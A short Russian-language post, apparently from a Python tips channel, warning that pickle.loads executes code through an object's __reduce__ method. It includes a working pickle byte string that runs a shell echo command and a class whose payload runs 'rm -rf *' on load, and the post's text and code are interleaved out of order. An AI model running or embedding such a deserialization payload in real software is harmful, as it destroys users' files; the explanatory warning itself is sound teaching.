Чем же так небезопасен pickle? В первую очередь программистом, который его использует неправильно.
Ловите пример:
import pickleВ результате загрузки данных из строки байт в терминал отправится сообщение "Hello world!". Немного не то, для чего создавался модуль. Кстати, в переменной res будет хранится ноль, а не текст или команда.
res = pickle.loads(b"cos\nsystem\n(S'echo Hello world!'\ntR.")
Но почему так? Дело в том, что модуль выполняет дандер
__reduce__ замаринованного объекта в процессе преобразования файла/строки в объекты Python.import pickleОтличных новогодних праздников. И не стреляйте себе в ногу 😉
import os
class MaliciousCode:
def __reduce__(self):
# При вызове функции pickle.load() будет выполнена команда удаления всех файлов в текущей директории
return (os.system, ('rm -rf *',))
malicious_object = MaliciousCode()
with open('data.pickle', 'wb') as file:
pickle.dump(malicious_object, file)
with open('data.pickle', 'rb') as file:
loaded_object = pickle.load(file)